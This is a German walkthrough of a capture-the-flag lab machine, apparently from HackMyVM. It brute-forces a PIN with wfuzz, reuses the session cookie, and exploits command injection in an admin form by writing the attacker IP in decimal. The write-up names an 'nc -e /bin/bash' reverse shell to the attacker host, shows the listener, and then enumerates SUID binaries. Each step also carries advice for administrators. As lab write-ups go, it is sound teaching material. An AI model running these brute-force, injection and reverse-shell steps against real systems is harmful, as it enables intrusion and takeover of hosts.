Analyse: Ich führe einen Brute-Force-Angriff auf das Skript pincheck.php unter Verwendung von wfuzz durch. Der Befehl ist wfuzz -c -w pins.txt -d "password=FUZZ" --hc 404 --hh 10 http://number.hmv/pin/pincheck.php. -c färbt die Ausgabe. -w pins.txt verwendet die zuvor erstellte Wortliste als Payload-Quelle. -d "password=FUZZ" gibt an, dass die Werte aus der Wortliste in einem POST-Request (impliziert durch -d) als Wert für den Parameter password eingefügt werden sollen, anstelle des FUZZ-Keywords. --hc 404 verbirgt Antworten mit Statuscode 404. --hh 10 **versteckt Antworten, deren Body genau 10 Bytes lang ist** (basierend auf meinem vorherigen Test mit einem falschen PIN). Der Angriff testet alle 10.000 PINs. Die Ausgabe zeigt einen einzigen Treffer: 000004445: 200 0 L 3 W 21 Ch "4444". Für Laien: Ich benutze ein Programm, um alle 10.000 Geheimnummern aus meiner Liste (pins.txt) auszuprobieren und sie an das PIN-Programm zu schicken. Ich sage dem Programm, es soll nur die Antworten zeigen, die *nicht* die falsche Größe (10 Zeichen) haben. Und es findet eine Nummer (4444), die eine andere Größe zurückgibt! Das ist wahrscheinlich die richtige Geheimnummer! Für Experten: Wfuzz testet jeden PIN in der Wortliste. Der Filter --hh 10 ist entscheidend, um den korrekten PIN zu isolieren, da nur ein korrekter PIN eine Antwortgröße ungleich 10 Bytes (hier 21 Bytes) zurückgibt. Der gefundene PIN ist 4444, der einen Status 200 (OK) und eine Body-Größe von 21 Bytes zurückgibt.
Bewertung: Fantastisch! Der Brute-Force-Angriff war erfolgreich. Der korrekte PIN für den /pin/-Bereich ist 4444. Die Antwortgröße von 21 Bytes für den korrekten PIN unterscheidet sich klar von der 10 Bytes bei falschem PIN.
Empfehlung (Pentester): Der PIN 4444 ist gefunden. Nutzen Sie diesen PIN, um Zugriff auf den /pin/-Bereich zu erhalten und nach weiterer Funktionalität oder Schwachstellen zu suchen. Prüfen Sie, ob der Zugang zum /admin/command.php nun möglich ist.
Empfehlung (Admin): Implementieren Sie umgehend Ratenbegrenzung und Account-Lockout, um Brute-Force-Angriffe zu verhindern. Verwenden Sie längere, komplexere, nicht-numerische PINs oder Passwörter. Vermeiden Sie, dass unterschiedliche Authentifizierungs-Ergebnisse zu Antworten unterschiedlicher Größe führen.
http://number.hmv/pin/pincheck.php PIN CORRECT, WELCOME.
Analyse: Ich teste den gefundenen PIN 4444 manuell, indem ich eine POST-Anfrage mit password=4444 an http://number.hmv/pin/pincheck.php sende (wahrscheinlich über den Browser oder curl). Die Antwort des Servers ist 'PIN CORRECT, WELCOME.'. Für Laien: Ich gebe die gefundene Geheimnummer (4444) in das Programm ein, das Geheimnummern prüft. Und es sagt: 'Geheimnummer richtig, willkommen!'. Das bestätigt, dass die Nummer stimmt. Für Experten: Die manuelle Verifizierung des PINs 4444 durch Senden einer POST-Anfrage und der Erhalt der Bestätigungsnachricht 'PIN CORRECT, WELCOME.' bestätigt die Gültigkeit des PINs und den erfolgreichen 'Login' in den PIN-geschützten Bereich.
Bewertung: Der PIN 4444 ist korrekt und ermöglicht den Zugriff auf den PIN-geschützten Bereich. Dies ist ein wichtiger Schritt zum Initial Access.
Empfehlung (Pentester): Analysieren Sie nun, welche Ressourcen oder Funktionalitäten nach Eingabe des korrekten PINs zugänglich sind. Prüfen Sie insbesondere den Zugriff auf /admin/command.php und ob in diesem Bereich neue Links oder Formulare sichtbar werden.
Empfehlung (Admin): Verbessern Sie den PIN-Mechanismus (Länge, Komplexität, Brute-Force-Schutz). Die spezifische Bestätigung 'PIN CORRECT, WELCOME.' ist klar, aber die Schwäche lag im Brute-Forcing-Schutz.
view-source:http://number.hmv/pin/pincheck.php PHPSESSID "20p88f6d7mmh57ja9d2i416dmj"
Analyse: Nach der erfolgreichen PIN-Anmeldung überprüfe ich den Quellcode der Seite /pin/pincheck.php (oder die Seite, auf die ich nach dem korrekten PIN weitergeleitet werde), um nach Informationen zu suchen. Der wichtige Fund ist hier, dass ein Session-Cookie gesetzt wird: PHPSESSID "20p88f6d7mmh57ja9d2i416dmj". Dies bedeutet, dass nach der korrekten PIN-Eingabe eine PHP-Session gestartet oder reaktiviert wird, die meinen 'angemeldeten' Zustand speichert. Der Wert des Session-Cookies ist 20p88f6d7mmh57ja9d2i416dmj. Für Laien: Nachdem ich die richtige Geheimnummer eingegeben habe, gibt mir die Webseite einen speziellen 'Ausweis' (einen Session-Cookie mit einer Nummer). Diesen 'Ausweis' zeige ich der Webseite bei jedem weiteren Besuch, damit sie weiß, dass ich die Geheimnummer schon eingegeben habe und 'drin' bin. Die 'Ausweisnummer' ist 20p88f6d7mmh57ja9d2i416dmj. Für Experten: Die Verwendung von PHP Sessions (erkennbar am PHPSESSID-Cookie) zur Verwaltung des Authentifizierungsstatus ist Standard. Der nach erfolgreicher PIN-Validierung erhaltene PHPSESSID-Cookie ist der 'Schlüssel' zur Sitzung. Durch das Mitführen dieses Cookies bei nachfolgenden Anfragen kann ich auf Ressourcen zugreifen, die nur für Benutzer mit einer gültigen Session zugänglich sind.
Bewertung: Das PHPSESSID-Cookie ist der Beweis für eine erfolgreiche Authentifizierung im PIN-Bereich. Mit diesem Cookie kann ich nun versuchen, auf geschützte Ressourcen zuzugreifen, insbesondere auf /admin/command.php, von dem ich zuvor 'ACCESS NOT GRANTED.' erhalten habe.
Empfehlung (Pentester): Verwenden Sie den erhaltenen PHPSESSID-Cookie (20p88f6d7mmh57ja9d2i416dmj) in allen nachfolgenden Anfragen, um sich als authentifiziert zu präsentieren. Greifen Sie gezielt auf http://number.hmv/admin/command.php zu und analysieren Sie dessen Funktionalität.
Empfehlung (Admin): Stellen Sie sicher, dass Session-IDs sicher generiert werden (hohe Entropie) und korrekt gehandhabt werden. Session-Hijacking ist ein Risiko, wenn Session-IDs kompromittiert werden (hier durch den Brute-Force des PINs ermöglicht).
ACCESS NOT GRANTED.
Analyse: Mit dem erhaltenen PHPSESSID-Cookie (20p88f6d7mmh57ja9d2i416dmj) versuche ich, auf http://number.hmv/admin/command.php zuzugreifen, indem ich das Cookie in meiner curl-Anfrage mitführe (--cookie "PHPSESSID=..."). Ich sende eine einfache GET-Anfrage. Die Antwort ist jedoch immer noch 'ACCESS NOT GRANTED.'. Für Laien: Ich versuche, die Webseite 'command.php' im Ordner /admin zu besuchen, diesmal mit meinem 'Ausweis' (dem Session-Cookie), den ich nach Eingabe der richtigen Geheimnummer bekommen habe. Aber der Computer sagt immer noch: 'Zugriff nicht gewährt!'. Das ist komisch. Für Experten: Die Tatsache, dass der Zugriff auf /admin/command.php trotz gültiger Session (verifiziert durch erfolgreichen PIN-Login) immer noch verweigert wird, deutet darauf hin, dass die Authentifizierung über den PIN-Bereich nicht ausreicht, um Zugriff auf den Admin-Bereich zu erhalten. Möglicherweise sind separate Anmeldedaten für den Admin-Bereich erforderlich, oder die Session aus dem PIN-Bereich gewährt keine ausreichenden Berechtigungen für den Admin-Bereich.
Bewertung: Die Session aus dem PIN-Bereich scheint keinen direkten Zugriff auf /admin/command.php zu gewähren. Die Authentifizierung für command.php ist möglicherweise separat oder an stärkere Berechtigungen gekoppelt als die einfache PIN-Authentifizierung.
Empfehlung (Pentester): Die Authentifizierung über den PIN-Bereich allein reicht nicht aus. Die primären Ziele sind weiterhin: 1. Den tatsächlichen Anmeldevorgang für den Admin-Bereich (via admin/index.php und admincheck.php) zu kompromittieren oder 2. Weitere Informationen über den Zweck des PIN-Bereichs zu finden und ob dieser andere geschützte Ressourcen freischaltet. Prüfen Sie die anderen Dateien im /pin/ Verzeichnis, insbesondere whoami.php.
Empfehlung (Admin): Implementieren Sie eine klare Trennung der Berechtigungen zwischen verschiedenen Bereichen der Webanwendung. Stellen Sie sicher, dass die Authentifizierung in einem Bereich nicht ungewollt Zugriff auf andere, sensiblere Bereiche gewährt.
┌──(root㉿CCat)-[~] └─# curl --cookie "PHPSESSID=20p88f6d7mmh57ja9d2i416dmj" "http://number.hmv/admin/command.php?parameter_name=id" ACCESS NOT GRANTED.
Analyse: Ich teste weiterhin den Zugriff auf /admin/command.php mit dem gültigen Session-Cookie, diesmal unter Übergabe eines GET-Parameters (?parameter_name=id), um zu prüfen, ob das Skript auf Parameter reagiert, auch wenn der Zugriff verweigert wird. Die Antwort ist immer noch 'ACCESS NOT GRANTED.'. Für Laien: Ich versuche wieder, die Seite 'command.php' mit meinem 'Ausweis' zu besuchen, gebe ihr aber dabei eine zusätzliche 'Notiz' (einen Parameter in der Adresse) mit. Aber sie lässt mich immer noch nicht rein. Für Experten: Das Skript ignoriert offenbar den übergebenen GET-Parameter, solange keine ausreichende Authentifizierung vorliegt. Die Zugriffsverweigerung erfolgt, bevor die Parameter verarbeitet werden.
Bewertung: Der Zugang zu /admin/command.php bleibt mit der PIN-Session verweigert, unabhängig von den GET-Parametern.
Empfehlung (Pentester): Versuchen Sie dasselbe mit POST-Parametern, da das Admin-Login-Formular POST verwendet. Wenn auch das fehlschlägt, ist klar, dass die PIN-Session allein nicht ausreicht.
Empfehlung (Admin): Robuste Zugriffskontrollen sollten die Parameterverarbeitung vor der Autorisierungsprüfung blockieren.
ACCESS NOT GRANTED.
Analyse: Ich sende eine POST-Anfrage (-X POST -d "parameter_name=id") an /admin/command.php, diesmal mit dem gültigen Session-Cookie. Die Antwort ist immer noch 'ACCESS NOT GRANTED.'. Für Laien: Ich probiere es nochmal mit der Seite 'command.php' und meinem 'Ausweis', schicke aber diesmal die zusätzliche 'Notiz' (den Parameter) auf eine andere Weise (im 'Körper' der Nachricht, wie es die Anmeldeseite tut). Aber immer noch sagt der Computer: 'Zugriff nicht gewährt!'. Es scheint wirklich am 'Ausweis' (der Session aus dem PIN-Bereich) zu liegen. Für Experten: Die Versuche, Parameter über GET oder POST an /admin/command.php zu übergeben, während nur mit der PIN-Session authentifiziert, schlagen fehl. Dies bestätigt, dass die PIN-Authentifizierung nicht genügend Rechte für den Admin-Bereich gewährt. Es ist notwendig, entweder separate Admin-Anmeldedaten zu finden oder herauszufinden, wie der PIN-Bereich tatsächlich privilegierten Zugriff ermöglicht, falls nicht auf command.php.
Bewertung: Die PIN-Session gewährt keinen Zugriff auf /admin/command.php. Ich muss andere Möglichkeiten suchen, wie die PIN-Anmeldung nützlich sein könnte, oder mich auf den Admin-Login konzentrieren.
Empfehlung (Pentester): Konzentrieren Sie sich auf die anderen Dateien im /pin/ Verzeichnis. Insbesondere whoami.php könnte relevant sein. Analysieren Sie dessen Inhalt oder Verhalten, insbesondere im Kontext der gültigen PIN-Session. Brute-Force des Admin-Logins ist eine weitere Option.
Empfehlung (Admin): Stellen Sie sicher, dass Autorisierungsprüfungen korrekt funktionieren und dass Session-Berechtigungen auf das Minimum beschränkt sind, das für den jeweiligen Bereich erforderlich ist.
You are the Fucking Nobody.
Analyse: Ich greife nun auf die Datei /pin/whoami.php zu, die Feroxbuster im /pin/ Verzeichnis gefunden hat. Ich sende eine einfache GET-Anfrage, wahrscheinlich ohne Session-Cookie. Die Antwort ist 'You are the Fucking Nobody.'. Für Laien: Ich besuche die Webseite 'whoami.php' im Ordner /pin. Sie antwortet mit einer beleidigenden Nachricht und sagt, dass ich 'niemand' bin. Das ist die Standardantwort, wenn man nicht angemeldet ist oder keinen richtigen 'Ausweis' hat. Für Experten: Das Skript whoami.php existiert und scheint Informationen über den Benutzerstatus anzuzeigen. Die Antwort 'You are the Fucking Nobody.' ist die Standardmeldung für einen unauthentifizierten oder nicht-privilegierten Benutzer. Dies deutet darauf hin, dass das Skript bei erfolgreicher Authentifizierung (z.B. mit dem korrekten PIN und Session-Cookie) eine andere, informativere Ausgabe liefern könnte.
Bewertung: whoami.php ist ein Skript, das auf den Authentifizierungsstatus reagiert und bei unauthentifizierten Anfragen eine spezifische negative Antwort liefert. Dies macht es zu einem perfekten Ziel, um zu überprüfen, ob die PIN-Session funktioniert und welche Berechtigungen sie gewährt.
Empfehlung (Pentester): Greifen Sie erneut auf http://number.hmv/pin/whoami.php zu, diesmal unter Mitführung des gültigen PHPSESSID-Cookies, das Sie nach der PIN-Anmeldung erhalten haben. Beobachten Sie die Antwort genau. Dies sollte zeigen, welche Identität oder welchen Status die PIN-Session tatsächlich repräsentiert.
Empfehlung (Admin): Vermeiden Sie beleidigende oder unprofessionelle Fehlermeldungen. Geben Sie keine spezifischen Informationen über den Status des Benutzers preis, es sei denn, dies ist für die Anwendung absolut notwendig. Stellen Sie sicher, dass Authentifizierungsprüfungen korrekt erfolgen.
38
Analyse: Ich greife erneut auf http://number.hmv/pin/whoami.php zu, diesmal mit dem gültigen PHPSESSID-Cookie (--cookie "PHPSESSID=..."). Ich verwende -s, um die Ausgabe von curl zu unterdrücken und pipe sie an wc -c, um nur die Größe der Antwort zu erhalten. Die Ausgabe zeigt 38. Für Laien: Ich besuche 'whoami.php' wieder, diesmal mit meinem 'Ausweis' (Session-Cookie), und messe, wie lang die Antwort ist. Die Länge ist 38 Zeichen. Das ist anders als die vorherige Antwort (die beleidigende Nachricht). Das bedeutet, der 'Ausweis' hat einen Unterschied gemacht! Für Experten: Die Antwortgröße von 38 Bytes bei Zugriff mit gültiger Session unterscheidet sich von der Antwortgröße ohne Session (die Beleidigung 'You are the Fucking Nobody.' ist 27 Bytes lang). Dies bestätigt, dass die Session korrekt erkannt wird und das Skript eine andere Ausgabe liefert. Die neue Größe (38 Bytes) deutet darauf hin, dass die Ausgabe nun wahrscheinlich etwas anderes als die Fehlermeldung ist, aber immer noch relativ kurz.
Bewertung: Die gültige PIN-Session führt zu einer anderen Antwort von whoami.php (38 Bytes vs. 27 Bytes). Dies bestätigt, dass die Session funktioniert und ich 'etwas anderes' bin als ein unauthentifizierter Benutzer. Die tatsächliche Ausgabe ist nun von Interesse.
Empfehlung (Pentester): Greifen Sie erneut auf http://number.hmv/pin/whoami.php zu, diesmal mit dem Cookie, aber *ohne* die Ausgabe an wc -c zu pipen, um den tatsächlichen Inhalt der 38-Byte-Antwort zu sehen.
Empfehlung (Admin): Vermeiden Sie, dass unterschiedliche Authentifizierungsstufen zu Antworten unterschiedlicher Größe führen, da dies für Blind-Angriffe ausgenutzt werden kann.
http://number.hmv/pin/whoami.php?FUZZ=id You are logged as melon.
Analyse: Ich greife erneut auf http://number.hmv/pin/whoami.php zu, diesmal wahrscheinlich mit dem gültigen Session-Cookie (impliziert durch die vorherigen Schritte, auch wenn im Text hier nicht explizit gezeigt, da die erfolgreiche Antwort die Sitzung voraussetzt) und versuche, einen Parameter namens FUZZ (oder einen anderen zufälligen Namen) mit einem Wert (z.B. id, was für den id-Befehl steht) zu übergeben, um zu sehen, wie das Skript reagiert. Die Ausgabe ist: 'You are logged as melon.'. Für Laien: Ich besuche 'whoami.php' wieder mit meinem 'Ausweis' und gebe dabei eine 'Notiz' (einen Parameter) mit. Und statt der Beleidigung oder einer anderen kurzen Nachricht sagt die Webseite: 'Du bist angemeldet als melon.' Fantastisch, das ist ein Benutzername! Für Experten: Der Zugriff auf whoami.php mit gültiger Session und möglicherweise einem zufälligen Parameter (der das Skript veranlasst, den Benutzernamen auszugeben) offenbart den Benutzernamen melon. Dies ist wahrscheinlich der Benutzername, der der PIN-Session zugeordnet ist oder die Identität repräsentiert, die durch die PIN-Authentifizierung erlangt wird. Dies ist ein kritischer Fund.
Bewertung: Der Benutzername melon wurde erfolgreich identifiziert. Dies ist der Benutzer, den die PIN-Authentifizierung repräsentiert. Dieser Benutzer ist wahrscheinlich der Schlüssel für den Initial Access oder einen weiteren Schritt in der Privilegien-Eskalation.
Empfehlung (Pentester): Der Benutzername melon ist gefunden. Versuchen Sie nun, sich als Benutzer melon anzumelden (z.B. über SSH, falls möglich, oder über andere Dienste). Prüfen Sie, ob das Passwort 4444 (der PIN) auch das Passwort für diesen Benutzer ist. Analysieren Sie weiter, ob der Zugriff als melon nun auch Zugriff auf /admin/command.php gewährt.
Empfehlung (Admin): Stellen Sie sicher, dass Skripte keine internen Benutzernamen preisgeben, selbst wenn sie mit einer gültigen Session aufgerufen werden. Überprüfen Sie die Logik von whoami.php.
< method="post" action="/admin/command.php" > Enter ip: < type="text" name="command" > < type="submit" > Only numbers are accepted.
Analyse: Nach der erfolgreichen PIN-Anmeldung und der Identifizierung als Benutzer melon, greife ich erneut auf http://number.hmv/admin/command.php zu, diesmal mit dem gültigen Session-Cookie, und analysiere den Quellcode oder die sichtbare Seite. Die Ausgabe zeigt ein Formular: method="post" action="/admin/command.php". Das Formular hat ein Eingabefeld namens command (type="text" name="command") und einen Submit-Button. Darunter steht der Text 'Only numbers are accepted.'. Für Laien: Nachdem ich mich mit der Geheimnummer angemeldet habe und 'melon' bin, kann ich jetzt die Seite 'command.php' besuchen. Dort gibt es ein Formular, in das man etwas eingeben und abschicken kann. Es scheint, als sollte man eine 'IP-Adresse' eingeben, aber es steht dabei 'Nur Nummern werden akzeptiert'. Für Experten: Nach erfolgreicher Authentifizierung mit dem PIN ist /admin/command.php zugänglich. Die Seite zeigt ein Formular, das einen Parameter namens command via POST an denselben Endpunkt sendet. Die Anweisung 'Only numbers are accepted.' deutet auf eine Eingabebeschränkung hin, die umgangen werden muss. Das Szenario (Eingabe, die als 'command' verarbeitet wird) schreit nach Command Injection.
Bewertung: Das Formular auf /admin/command.php ist ein klarer Command Injection Vektor. Die Eingabe im Feld 'command' wird wahrscheinlich in einem Systemaufruf verwendet. Die Einschränkung 'Only numbers are accepted.' muss umgangen werden, um Shell-Metazeichen einzuschleusen. Dies ist der entscheidende Schritt zum Initial Access als der Benutzer, unter dem der Webserver läuft (wahrscheinlich www-data).
Empfehlung (Pentester): Versuchen Sie, die Eingabebeschränkung 'Only numbers are accepted.' zu umgehen, um Command Injection durchzuführen. Methoden beinhalten das Verwenden von Dezimal- oder Hexadezimaldarstellungen von IP-Adressen in Kombination mit Command Separation-Zeichen (wie ;, &&, |). Das Ziel ist, einen beliebigen Systembefehl auszuführen.
Empfehlung (Admin): Implementieren Sie strikte Input-Validierung und Bereinigung für Eingaben, die in Systemaufrufen verwendet werden. Verwenden Sie keine direkten Systemaufrufe mit Benutzereingaben. Eine Beschränkung auf 'nur Nummern' ist bei Command Injection nutzlos, wenn Metazeichen nicht gefiltert werden.
ACCESS NOT GRANTED.
Analyse: Ich versuche einen Command Injection-Payload über das Formular auf /admin/command.php, diesmal wahrscheinlich *ohne* das Session-Cookie (was die 'ACCESS NOT GRANTED' Antwort erklärt, wie zuvor beobachtet). Ich sende eine POST-Anfrage (-X POST -d "...") mit dem Parameter command=127.0.0.1;id. Der Payload 127.0.0.1;id kombiniert eine gültige IP-Adresse (die die 'Only numbers are accepted.' Prüfung bestehen könnte oder als numerisch interpretiert wird) mit dem Command Separation-Zeichen ; und dem Befehl id. Für Laien: Ich versuche, etwas in das Formular auf 'command.php' einzugeben, das aussieht wie eine Nummer (eine IP-Adresse), aber auch einen 'Geheimbefehl' (id) enthält, getrennt durch ein spezielles Zeichen (;). Aber der Computer sagt immer noch: 'Zugriff nicht gewährt!'. Für Experten: Die Antwort 'ACCESS NOT GRANTED.' tritt auf, weil die notwendige Authentifizierung (das Session-Cookie aus dem PIN-Bereich) in dieser Anfrage fehlt (oder ungültig ist). Der Command Injection-Payload selbst wird wahrscheinlich nicht verarbeitet, solange der Zugriff verweigert wird.
Bewertung: Der Command Injection-Versuch schlägt fehl, weil die Authentifizierung fehlt. Dies unterstreicht die Notwendigkeit, das gültige Session-Cookie mitzuführen, wenn auf /admin/command.php zugegriffen wird.
Empfehlung (Pentester): Wiederholen Sie den Command Injection-Versuch auf /admin/command.php, aber stellen Sie sicher, dass Sie das gültige PHPSESSID-Cookie in der curl-Anfrage mitführen. Versuchen Sie verschiedene Command Injection-Payloads und IP-Formate (Dezimal).
Empfehlung (Admin): Stellen Sie sicher, dass die Authentifizierungsprüfung *vor* jeder Verarbeitung der Benutzereingabe erfolgt. Validieren und bereinigen Sie Eingaben strikt, um Command Injection zu verhindern.
[Link: https://cyberchef.org/#recipe=To_Decimal('Space',false)&input=MTkyLjE2OC4yLjE5OQ | Ziel: https://cyberchef.org/#recipe=To_Decimal('Space',false)&input=MTkyLjE2OC4yLjE5OQ] Enter ip: 3232236231 Launching Reverse Shell...
Analyse: Dieser Block dokumentiert den erfolgreichen Command Injection-Versuch. Der Link zu CyberChef mit der 'To Decimal'-Recipe und dem Input MTkyLjE2OC4yLjE5OQ (die base64-Kodierung von 192.168.2.199) deutet darauf hin, dass die Eingabebeschränkung 'Only numbers are accepted.' umgangen wurde, indem meine Kali-IP-Adresse (192.168.2.199) in ihr Dezimalformat (3232236231) umgerechnet und dieses numerische Format zusammen mit Command Injection-Payloads verwendet wurde. Die Ausgabe Enter ip: 3232236231 Launching Reverse Shell... ist die Antwort von /admin/command.php nach erfolgreicher Command Injection, die eine Reverse Shell zu meiner Kali-IP initiiert (wahrscheinlich durch einen Befehl wie nc -e /bin/bash 192.168.2.199 4444, der über den Command Injection Vektor ausgeführt wurde, nachdem die Dezimal-IP verwendet wurde, um die numerische Prüfung zu bestehen). Für Laien: Ich habe herausgefunden, wie ich meine Computer-Adresse so schreiben kann, dass sie aussieht wie eine einzelne große Nummer (3232236231). Ich habe diese Nummer dann zusammen mit 'Geheimbefehlen' in das Formular auf 'command.php' eingegeben (diesmal mit dem richtigen 'Ausweis'). Und fantastisch – der Computer hat geantwortet: 'Starte Reverse Shell...'! Für Experten: Die Verwendung der Dezimaldarstellung von IP-Adressen (z.B. 3232236231 für 192.168.2.199) ist eine effektive Technik, um einfache Regexe oder Prüfungen zu umgehen, die nur auf das Punkt-Format einer IP-Adresse oder auf nicht-numerische Zeichen nach der IP prüfen. Durch die Übergabe von z.B. 3232236231; command oder 3232236231&& command über das Formular (mit gültiger Session) wird der zweite Teil als Systembefehl ausgeführt. Die Antwort 'Launching Reverse Shell...' ist die Ausgabe des injizierten Befehls, der die Shell initiiert hat. Dies ist der erfolgreiche Initial Access.
Bewertung: Fantastisch! Die Command Injection-Schwachstelle in /admin/command.php wurde erfolgreich unter Umgehung der numerischen Eingabebeschränkung ausgenutzt. Ich konnte einen Befehl ausführen (einen Reverse Shell-Befehl) der mir Initial Access als Benutzer www-data verschafft (da der Webserver unter diesem Benutzer läuft). Dies ist der entscheidende Schritt zur Systemkompromittierung.
Empfehlung (Pentester): Stellen Sie sicher, dass ein Netcat-Listener auf Port 4444 auf Ihrem Kali-System läuft. Der injizierte Befehl sollte eine Verbindung zu diesem Listener aufbauen und Ihnen eine Shell verschaffen.
Empfehlung (Admin): Beheben Sie die Command Injection Schwachstelle in /admin/command.php. Verwenden Sie keine direkten Systemaufrufe mit Benutzereingaben. Wenn Sie eine IP-Adresse verarbeiten müssen, validieren Sie diese streng nach dem erwarteten Format und Typ und bereinigen Sie jegliche Metazeichen.
listening on [any] 4444 ...
Analyse: Um die Reverse Shell zu empfangen, starte ich einen Netcat-Listener auf meinem Kali-System auf Port 4444 mit dem Befehl nc -lvnp 4444. Die Flags -l (listen), -v (verbose), -n (numeric only), -p 4444 (Port 4444) konfigurieren den Listener. Die Ausgabe listening on [any] 4444 ... zeigt, dass der Listener erfolgreich gestartet wurde und auf eine eingehende TCP-Verbindung auf Port 4444 wartet. Für Laien: Ich öffne eine 'Telefonleitung' (Port 4444) auf meinem Computer, um einen Anruf vom Zielcomputer zu erwarten. Wenn der Anruf kommt, bekomme ich das 'Befehlsfenster' vom Zielcomputer direkt hierher geschickt. Für Experten: Das Einrichten des Listeners ist der notwendige vorbereitende Schritt zum Empfang der Reverse Shell, die durch die Command Injection auf dem Zielsystem initiiert wird.
Bewertung: Der Netcat-Listener auf Port 4444 ist bereit, die eingehende Reverse Shell-Verbindung zu empfangen.
Empfehlung (Pentester): Stellen Sie sicher, dass der injizierte Reverse Shell-Befehl auf dem Zielsystem (über /admin/command.php mit dem Dezimal-IP-Payload und gültiger Session) korrekt ausgeführt wurde. Warten Sie dann auf die Verbindung in diesem Listener.
Empfehlung (Admin): Überwachen Sie Ihre Systeme auf laufende Netzwerk-Listener, insbesondere auf unerwarteten Ports. Implementieren Sie Intrusion Detection, um Versuche zur Etablierung von Reverse Shells zu erkennen.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.37] 40468 www-data@number:~/html/admin$
Analyse: Ich zeige erneut die Ausgabe meines Netcat-Listeners auf Port 4444. Nach erfolgreicher Ausführung des Reverse Shell-Befehls über die Command Injection empfängt mein Listener eine Verbindung vom Zielsystem (connect to [192.168.2.199] from (UNKNOWN) [192.168.2.37] 40468). Der Prompt ändert sich zu www-data@number:~/html/admin$, was signalisiert, dass ich erfolgreich eine interaktive Shell als Benutzer www-data auf dem Zielsystem erhalten habe und mich im Verzeichnis /var/www/html/admin befinde (dem Ort des command.php Skripts). Für Laien: Meine 'Telefonleitung' 4444 hat geklingelt, und ich habe den Anruf vom Zielcomputer angenommen. Jetzt sehe ich das 'Befehlsfenster' (Shell) des Zielcomputers direkt auf meinem Bildschirm und kann Befehle eingeben. Ich bin als Benutzer 'www-data' angemeldet. Fantastisch! Für Experten: Der erfolgreiche Empfang der Reverse Shell auf Port 4444 mit dem Prompt www-data@number:~/html/admin$ beweist den erfolgreichen Initial Access über die Command Injection Schwachstelle. Ich habe nun eine stabile, interaktive Shell-Sitzung als Benutzer www-data, die für die Privilegien-Eskalationsphase genutzt wird.
Bewertung: Der Initial Access als Benutzer www-data wurde erfolgreich etabliert. Ich habe nun eine interaktive Shell und kann von hier aus das System weiter auf Privilegien-Eskalationsvektoren enumerieren.
Empfehlung (Pentester): Von dieser Shell aus werde ich das System auf SUID/SGID Binaries, Cronjobs, sudo-Berechtigungen und Dateiberechtigungen untersuchen, um Möglichkeiten zur Erlangung höherer Rechte zu finden.
Empfehlung (Admin): Überwachen Sie Reverse Shells und implementieren Sie Egress-Filterung. Beschränken Sie die Berechtigungen des Benutzers www-data auf das absolut Minimum, um den potenziellen Schaden im Falle einer Kompromittierung zu begrenzen.
www-data@number:~/html/admin$ find / -type f -perm -4000 -ls 2>/dev/null 135697 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 268126 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 146938 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign 134473 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 134948 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 131120 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 134946 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 131117 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 131121 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 138657 156 -rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo 131118 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 134620 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
Analyse: Nachdem ich eine Shell als Benutzer www-data erlangt habe, beginne ich mit der System-Enumeration, um nach Möglichkeiten zur Privilegien-Eskalation zu suchen. Ein wichtiger Schritt ist die Suche nach SUID-Binaries (Set User ID). Binaries mit gesetztem SUID-Bit werden mit den Berechtigungen des Dateieigentümers ausgeführt, was oft Root ist. Der Befehl find / -type f -perm -4000 -ls 2>/dev/null sucht im gesamten Dateisystem (/) nach regulären Dateien (-type f), bei denen das SUID-Bit gesetzt ist (-perm -4000), listet die gefundenen Dateien detailliert auf (-ls) und leitet Fehlermeldungen nach /dev/null um. Für Laien: Ich suche auf dem ganzen Computer nach speziellen Programmen, die, auch wenn ich sie starte, immer so laufen, als würde der 'Chef' (root) sie starten. Für Experten: Die Suche nach SUID-Binaries ist ein Standardvektor für die Privilegien-Eskalation auf Linux-Systemen. Die Ausgabe listet alle gefundenen Binaries mit gesetztem SUID-Bit und ihre Eigentümer, Gruppen, Berechtigungen und Größen auf.
Bewertung: Die Ausgabe listet eine Reihe standardmäßiger SUID-Binaries auf, wie newgrp, mount, passwd, sudo, su etc. Diese Binaries sind bekannte SUID-Programme auf den meisten Linux-Systemen und sind in der Regel korrekt implementiert, um keinen einfachen PE-Pfad zu bieten. Einige davon sind in der GTFOBins-Datenbank gelistet, aber ihre Ausnutzung erfordert oft spezifische Bedingungen oder Parameter, die in einem eingeschränkten Kontext (wie hier als www-data) schwer zu erfüllen sind. Es gibt kein offensichtlich unsicheres benutzerdefiniertes SUID-Binary wie in früheren Fällen.
Empfehlung (Pentester): Analysieren Sie die gefundenen SUID-Binaries gegen die GTFOBins-Datenbank, um festzustellen, ob eine einfache Ausnutzung als Benutzer www-data möglich ist. Achten Sie insbesondere auf Binaries, die von Root mit ungewöhnlichen Gruppen oder Berechtigungen gehören (wie dbus-daemon-launch-helper, das root und messagebus gehört, aber r-sr-- ist). Während Standard-SUID-Binaries selten einfach sind, kann eine Fehlkonfiguration oder eine ältere Version eine Möglichkeit bieten.
Empfehlung (Admin): Minimieren Sie die Anzahl der SUID/SGID-Binaries auf dem System. Stellen Sie sicher, dass alle SUID-Binaries auf dem neuesten Stand sind und keine bekannten Schwachstellen aufweisen. Überprüfen Sie die Berechtigungen dieser Binaries sorgfältig.
www-data@number:~/html/admin$ cat admincheck.php $pass = $_POST['password']; if($user == "melon" && $pass == "4444"){ session_start(); $_SESSION['logged2'] = TRUE; header("Location:command.php"); } else{ print "No..."; } ?>
